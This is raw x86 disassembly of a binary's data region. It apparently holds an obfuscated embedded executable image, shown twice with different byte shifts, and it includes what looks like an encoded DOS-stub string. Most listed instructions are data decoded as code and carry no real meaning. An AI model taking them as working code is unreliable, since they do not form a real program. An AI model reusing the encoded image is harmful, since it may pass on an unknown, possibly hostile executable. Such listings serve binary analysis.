4021f3:	13 5d ac             	adc    -0x54(%ebp),%ebx
4021f6:	6c                   	insb   (%dx),%es:(%edi)
4021f7:	ae                   	scas   %es:(%edi),%al
4021f8:	0b 80 68 64 d4 fd    	or     -0x22b9b98(%eax),%eax
4021fe:	89 b2 b6 8b 93 3c    	mov    %esi,0x3c938bb6(%edx)
402204:	27                   	daa
402205:	88 67 76             	mov    %ah,0x76(%edi)
402208:	b7 49                	mov    $0x49,%bh
40220a:	2e 79 4a             	jns,pn 0x402257
40220d:	f5                   	cmc
40220e:	9d                   	popf
40220f:	83 74 17 58 fe       	xorl   $0xfffffffe,0x58(%edi,%edx,1)
402214:	a5                   	movsl  %ds:(%esi),%es:(%edi)
402215:	3e b3 ec             	ds mov $0xec,%bl
402218:	42                   	inc    %edx
402219:	84 00                	test   %al,(%eax)
40221b:	00 00                	add    %al,(%eax)
40221d:	00 00                	add    %al,(%eax)
40221f:	00 58 5a             	add    %bl,0x5a(%eax)
402222:	9b                   	fwait
402223:	00 0e                	add    %cl,(%esi)
402225:	00 0b                	add    %cl,(%ebx)
402227:	00 0f                	add    %cl,(%edi)
402229:	00 0b                	add    %cl,(%ebx)
40222b:	00 0a                	add    %cl,(%edx)
40222d:	ff 0b                	decl   (%ebx)
40222f:	00 c3                	add    %al,%bl
402231:	00 0b                	add    %cl,(%ebx)
402233:	00 0b                	add    %cl,(%ebx)
402235:	00 0b                	add    %cl,(%ebx)
402237:	00 4b 00             	add    %cl,0x0(%ebx)
40223a:	0b 00                	or     (%eax),%eax
40223c:	0b 00                	or     (%eax),%eax
40223e:	0b 00                	or     (%eax),%eax
402240:	0b 00                	or     (%eax),%eax
402242:	0b 00                	or     (%eax),%eax
402244:	0b 00                	or     (%eax),%eax
402246:	0b 00                	or     (%eax),%eax
402248:	0b 00                	or     (%eax),%eax
40224a:	0b 00                	or     (%eax),%eax
40224c:	0b 00                	or     (%eax),%eax
40224e:	0b 00                	or     (%eax),%eax
402250:	0b 00                	or     (%eax),%eax
402252:	0b 00                	or     (%eax),%eax
402254:	0b 00                	or     (%eax),%eax
402256:	0b 00                	or     (%eax),%eax
402258:	0b 00                	or     (%eax),%eax
40225a:	0b 00                	or     (%eax),%eax
40225c:	8b 00                	mov    (%eax),%eax
40225e:	0b 00                	or     (%eax),%eax
402260:	19 1f                	sbb    %ebx,(%edi)
402262:	c5 0e                	lds    (%esi),%ecx
402264:	0b b4 14 cd 2c b8 0c 	or     0xcb82ccd(%esp,%edx,1),%esi
40226b:	4c                   	dec    %esp
40226c:	d8 21                	fsubs  (%ecx)
40226e:	5f                   	pop    %edi
40226f:	68 74 73 2b 70       	push   $0x702b7374
402274:	7d 6f                	jge    0x4022e5
402276:	72 72                	jb     0x4022ea
402278:	6c                   	insb   (%dx),%es:(%edi)
402279:	6d                   	insl   (%dx),%es:(%edi)
40227a:	2b 63 6c             	sub    0x6c(%ebx),%esp
40227d:	6e                   	outsb  %ds:(%esi),(%dx)
40227e:	79 6f                	jns    0x4022ef
402280:	7f 20                	jg     0x4022a2
402282:	6d                   	insl   (%dx),%es:(%edi)
402283:	65 2b 72 80          	sub    %gs:-0x80(%edx),%esi
402287:	6e                   	outsb  %ds:(%esi),(%dx)
402288:	2b 69 79             	sub    0x79(%ecx),%ebp
40228b:	20 4f 4f             	and    %cl,0x4f(%edi)
40228e:	5e                   	pop    %esi
40228f:	20 78 6f             	and    %bh,0x6f(%eax)
402292:	6f                   	outsl  %ds:(%esi),(%dx)
402293:	65 39 0d 18 0a 2f 00 	cmp    %ecx,%gs:0x2f0a18
40229a:	0b 00                	or     (%eax),%eax
40229c:	0b 00                	or     (%eax),%eax
40229e:	0b 00                	or     (%eax),%eax
4022a0:	5b                   	pop    %ebx
4022a1:	45                   	inc    %ebp
4022a2:	0b 00                	or     (%eax),%eax
4022a4:	57                   	push   %edi
4022a5:	01 0e                	add    %ecx,(%esi)
4022a7:	00 81 3d f3 f3 0b    	add    %al,0xbf3f33d(%ecx)
4022ad:	00 0b                	add    %cl,(%ebx)
4022af:	00 0b                	add    %cl,(%ebx)
4022b1:	00 0b                	add    %cl,(%ebx)
4022b3:	00 eb                	add    %ch,%bl
4022b5:	00 0d 21 16 01 3b    	add    %cl,0x3b011621
4022bb:	00 0b                	add    %cl,(%ebx)
4022bd:	f2 0b 00             	repnz or (%eax),%eax
4022c0:	0b f6                	or     %esi,%esi
4022c2:	0b 00                	or     (%eax),%eax
4022c4:	0b 00                	or     (%eax),%eax
4022c6:	0b 00                	or     (%eax),%eax
4022c8:	c1 10 0c             	rcll   $0xc,(%eax)
4022cb:	00 0b                	add    %cl,(%ebx)
4022cd:	20 0b                	and    %cl,(%ebx)
4022cf:	00 0b                	add    %cl,(%ebx)
4022d1:	40                   	inc    %eax
4022d2:	0c 00                	or     $0x0,%al
4022d4:	0b 00                	or     (%eax),%eax
4022d6:	4b                   	dec    %ebx
4022d7:	00 0b                	add    %cl,(%ebx)
4022d9:	20 0b                	and    %cl,(%ebx)
4022db:	00 0b                	add    %cl,(%ebx)
4022dd:	02 0b                	add    (%ebx),%cl
4022df:	00 0f                	add    %cl,(%edi)
4022e1:	00 0b                	add    %cl,(%ebx)
4022e3:	00 0b                	add    %cl,(%ebx)
4022e5:	00 0b                	add    %cl,(%ebx)
4022e7:	00 11                	add    %dl,(%ecx)
4022e9:	00 0b                	add    %cl,(%ebx)
4022eb:	00 0b                	add    %cl,(%ebx)
4022ed:	00 0b                	add    %cl,(%ebx)
4022ef:	00 0b                	add    %cl,(%ebx)
4022f1:	60                   	pusha
4022f2:	0c 00                	or     $0x0,%al
4022f4:	0b 02                	or     (%edx),%eax
4022f6:	0b 00                	or     (%eax),%eax
4022f8:	0b 00                	or     (%eax),%eax
4022fa:	0b 00                	or     (%eax),%eax
4022fc:	0e                   	push   %cs
4022fd:	00 6b 85             	add    %ch,-0x7b(%ebx)
402300:	0b 00                	or     (%eax),%eax
402302:	1b 00                	sbb    (%eax),%eax
402304:	0b 10                	or     (%eax),%edx
402306:	0b 00                	or     (%eax),%eax
402308:	0b 00                	or     (%eax),%eax
40230a:	1b 00                	sbb    (%eax),%eax
40230c:	0b 10                	or     (%eax),%edx
40230e:	0b 00                	or     (%eax),%eax
402310:	0b 00                	or     (%eax),%eax
402312:	0b 00                	or     (%eax),%eax
402314:	1b 00                	sbb    (%eax),%eax
402316:	0b 00                	or     (%eax),%eax
402318:	0b 00                	or     (%eax),%eax
40231a:	0b 00                	or     (%eax),%eax
40231c:	0b 00                	or     (%eax),%eax
40231e:	0b 00                	or     (%eax),%eax
402320:	67 10 0c             	adc    %cl,(%si)
402323:	00 62 00             	add    %ah,0x0(%edx)
402326:	0b 00                	or     (%eax),%eax
402328:	0b 20                	or     (%eax),%esp
40232a:	0c 00                	or     $0x0,%al
40232c:	7f 03                	jg     0x402331
40232e:	0b 00                	or     (%eax),%eax
402330:	0b 00                	or     (%eax),%eax
402332:	0b 00                	or     (%eax),%eax
402334:	0b 00                	or     (%eax),%eax
402336:	0b 00                	or     (%eax),%eax
402338:	0b 00                	or     (%eax),%eax
40233a:	0b 00                	or     (%eax),%eax
40233c:	0b 00                	or     (%eax),%eax
40233e:	0b 00                	or     (%eax),%eax
402340:	0b 40 0c             	or     0xc(%eax),%eax
402343:	00 17                	add    %dl,(%edi)
402345:	00 0b                	add    %cl,(%ebx)
402347:	00 e7                	add    %ah,%bh
402349:	10 0c 00             	adc    %cl,(%eax,%eax,1)
40234c:	27                   	daa
40234d:	00 0b                	add    %cl,(%ebx)
40234f:	00 0b                	add    %cl,(%ebx)
402351:	00 0b                	add    %cl,(%ebx)
402353:	00 0b                	add    %cl,(%ebx)
402355:	00 0b                	add    %cl,(%ebx)
402357:	00 0b                	add    %cl,(%ebx)
402359:	00 0b                	add    %cl,(%ebx)
40235b:	00 0b                	add    %cl,(%ebx)
40235d:	00 0b                	add    %cl,(%ebx)
40235f:	00 0b                	add    %cl,(%ebx)
402361:	00 0b                	add    %cl,(%ebx)
402363:	00 0b                	add    %cl,(%ebx)
402365:	00 0b                	add    %cl,(%ebx)
402367:	00 0b                	add    %cl,(%ebx)
402369:	00 0b                	add    %cl,(%ebx)
40236b:	00 0b                	add    %cl,(%ebx)
40236d:	00 0b                	add    %cl,(%ebx)
40236f:	00 0b                	add    %cl,(%ebx)
402371:	00 0b                	add    %cl,(%ebx)
402373:	00 0b                	add    %cl,(%ebx)
402375:	00 0b                	add    %cl,(%ebx)
402377:	00 0b                	add    %cl,(%ebx)
402379:	20 0b                	and    %cl,(%ebx)
40237b:	00 13                	add    %dl,(%ebx)
40237d:	00 0b                	add    %cl,(%ebx)
40237f:	00 0b                	add    %cl,(%ebx)
402381:	00 0b                	add    %cl,(%ebx)
402383:	00 0b                	add    %cl,(%ebx)
402385:	00 0b                	add    %cl,(%ebx)
402387:	00 13                	add    %dl,(%ebx)
402389:	20 0b                	and    %cl,(%ebx)
40238b:	00 53 00             	add    %dl,0x0(%ebx)
40238e:	0b 00                	or     (%eax),%eax
402390:	0b 00                	or     (%eax),%eax
402392:	0b 00                	or     (%eax),%eax
402394:	0b 00                	or     (%eax),%eax
402396:	0b 00                	or     (%eax),%eax
402398:	39 74 70 78          	cmp    %esi,0x78(%eax,%esi,2)
40239c:	7f 00                	jg     0x40239e
40239e:	0b 00                	or     (%eax),%eax
4023a0:	1f                   	pop    %ds
4023a1:	f1                   	int1
4023a2:	0b 00                	or     (%eax),%eax
4023a4:	0b 20                	or     (%eax),%esp
4023a6:	0b 00                	or     (%eax),%eax
4023a8:	0b f2                	or     %edx,%esi
4023aa:	0b 00                	or     (%eax),%eax
4023ac:	0b 02                	or     (%edx),%eax
4023ae:	0b 00                	or     (%eax),%eax
4023b0:	0b 00                	or     (%eax),%eax
4023b2:	0b 00                	or     (%eax),%eax
4023b4:	0b 00                	or     (%eax),%eax
4023b6:	0b 00                	or     (%eax),%eax
4023b8:	0b 00                	or     (%eax),%eax
4023ba:	0b 00                	or     (%eax),%eax
4023bc:	2b 00                	sub    (%eax),%eax
4023be:	0b 60 39             	or     0x39(%eax),%esp
4023c1:	72 7e                	jb     0x402441
4023c3:	72 6e                	jb     0x402433
4023c5:	00 0b                	add    %cl,(%ebx)
4023c7:	00 7f 03             	add    %bh,0x3(%edi)
4023ca:	0b 00                	or     (%eax),%eax
4023cc:	0b 20                	or     (%eax),%esp
4023ce:	0c 00                	or     $0x0,%al
4023d0:	0b 04 0b             	or     (%ebx,%ecx,1),%eax
4023d3:	00 0b                	add    %cl,(%ebx)
4023d5:	f4                   	hlt
4023d6:	0b 00                	or     (%eax),%eax
4023d8:	0b 00                	or     (%eax),%eax
4023da:	0b 00                	or     (%eax),%eax
4023dc:	0b 00                	or     (%eax),%eax
4023de:	0b 00                	or     (%eax),%eax
4023e0:	0b 00                	or     (%eax),%eax
4023e2:	0b 00                	or     (%eax),%eax
4023e4:	4b                   	dec    %ebx
4023e5:	00 0b                	add    %cl,(%ebx)
4023e7:	40                   	inc    %eax
4023e8:	39 72 70             	cmp    %esi,0x70(%edx)
4023eb:	6c                   	insb   (%dx),%es:(%edi)
4023ec:	7a 63                	jp     0x402451
4023ee:	0b 00                	or     (%eax),%eax
4023f0:	17                   	pop    %ss
4023f1:	00 0b                	add    %cl,(%ebx)
4023f3:	00 0b                	add    %cl,(%ebx)
4023f5:	40                   	inc    %eax
4023f6:	0c 00                	or     $0x0,%al
4023f8:	0b 02                	or     (%edx),%eax
4023fa:	0b 00                	or     (%eax),%eax
4023fc:	0b f8                	or     %eax,%edi
4023fe:	0b 00                	or     (%eax),%eax
402400:	0b 00                	or     (%eax),%eax
402402:	0b 00                	or     (%eax),%eax
402404:	0b 00                	or     (%eax),%eax
402406:	0b 00                	or     (%eax),%eax
402408:	0b 00                	or     (%eax),%eax
40240a:	0b 00                	or     (%eax),%eax
40240c:	4b                   	dec    %ebx
40240d:	00 0b                	add    %cl,(%ebx)
40240f:	42                   	inc    %edx
402410:	0b 00                	or     (%eax),%eax
402412:	0b 00                	or     (%eax),%eax
402414:	0b 00                	or     (%eax),%eax
402416:	0b 00                	or     (%eax),%eax
402418:	0b 00                	or     (%eax),%eax
40241a:	0b 00                	or     (%eax),%eax
40241c:	0b 00                	or     (%eax),%eax
40241e:	0b 00                	or     (%eax),%eax
402420:	a3 10 0c 00 0b       	mov    %eax,0xb000c10
402425:	00 0b                	add    %cl,(%ebx)
402427:	00 53 00             	add    %dl,0x0(%ebx)
40242a:	0b 00                	or     (%eax),%eax
40242c:	0d 00 10 00 0f       	or     $0xf001000,%eax
402431:	d3 0b                	rorl   %cl,(%ebx)
402433:	00 4b 35             	add    %cl,0x35(%ebx)
402436:	0b 00                	or     (%eax),%eax
402438:	0e                   	push   %cs
402439:	00 0b                	add    %cl,(%ebx)
40243b:	00 0b                	add    %cl,(%ebx)
40243d:	00 0b                	add    %cl,(%ebx)
40243f:	00 4f 08             	add    %cl,0x8(%edi)
402442:	0c 00                	or     $0x0,%al
402444:	23 08                	and    (%eax),%ecx
402446:	0b 00                	or     (%eax),%eax
402448:	0b 00                	or     (%eax),%eax
40244a:	0b 00                	or     (%eax),%eax
40244c:	0b 00                	or     (%eax),%eax
40244e:	0b 00                	or     (%eax),%eax
402450:	0b 00                	or     (%eax),%eax
402452:	0b 00                	or     (%eax),%eax
402454:	0b 00                	or     (%eax),%eax
402456:	0b 00                	or     (%eax),%eax
402458:	0b 00                	or     (%eax),%eax
40245a:	0b 00                	or     (%eax),%eax
40245c:	0b 00                	or     (%eax),%eax
40245e:	0b 00                	or     (%eax),%eax
402460:	0b 00                	or     (%eax),%eax
402462:	0b 00                	or     (%eax),%eax
402464:	0b 00                	or     (%eax),%eax
402466:	0b 00                	or     (%eax),%eax
402468:	0b 00                	or     (%eax),%eax
40246a:	0b 00                	or     (%eax),%eax
40246c:	0b 00                	or     (%eax),%eax
40246e:	0b 00                	or     (%eax),%eax
402470:	63 5a a6             	arpl   %ebx,-0x5a(%edx)
402473:	00 19                	add    %bl,(%ecx)
402475:	00 16                	add    %dl,(%esi)
402477:	00 1a                	add    %bl,(%edx)
402479:	00 16                	add    %dl,(%esi)
40247b:	00 15 ff 16 00 ce    	add    %dl,0xce0016ff
402481:	00 16                	add    %dl,(%esi)
402483:	00 16                	add    %dl,(%esi)
402485:	00 16                	add    %dl,(%esi)
402487:	00 56 00             	add    %dl,0x0(%esi)
40248a:	16                   	push   %ss
40248b:	00 16                	add    %dl,(%esi)
40248d:	00 16                	add    %dl,(%esi)
40248f:	00 16                	add    %dl,(%esi)
402491:	00 16                	add    %dl,(%esi)
402493:	00 16                	add    %dl,(%esi)
402495:	00 16                	add    %dl,(%esi)
402497:	00 16                	add    %dl,(%esi)
402499:	00 16                	add    %dl,(%esi)
40249b:	00 16                	add    %dl,(%esi)
40249d:	00 16                	add    %dl,(%esi)
40249f:	00 16                	add    %dl,(%esi)
4024a1:	00 16                	add    %dl,(%esi)
4024a3:	00 16                	add    %dl,(%esi)
4024a5:	00 16                	add    %dl,(%esi)
4024a7:	00 16                	add    %dl,(%esi)
4024a9:	00 16                	add    %dl,(%esi)
4024ab:	00 96 00 16 00 24    	add    %dl,0x24001600(%esi)
4024b1:	1f                   	pop    %ds
4024b2:	d0 0e                	rorb   $1,(%esi)
4024b4:	16                   	push   %ss
4024b5:	b4 1f                	mov    $0x1f,%ah
4024b7:	cd 37                	int    $0x37
4024b9:	b8 17 4c e3 21       	mov    $0x21e34c17,%eax
4024be:	6a 68                	push   $0x68
4024c0:	7f 73                	jg     0x402535
4024c2:	36 70 88             	ss jo  0x40244d
4024c5:	6f                   	outsl  %ds:(%esi),(%dx)
4024c6:	7d 72                	jge    0x40253a
4024c8:	77 6d                	ja     0x402537
4024ca:	36 63 77 6e          	arpl   %esi,%ss:0x6e(%edi)
4024ce:	84 6f 8a             	test   %ch,-0x76(%edi)
4024d1:	20 78 65             	and    %bh,0x65(%eax)
4024d4:	36 72 8b             	ss jb  0x402462
4024d7:	6e                   	outsb  %ds:(%esi),(%dx)
4024d8:	36 69 84 20 5a 4f 69 	imul   $0x657a6f83,%ss:0x20694f5a(%eax,%eiz,1),%eax
4024df:	20 83 6f 7a 65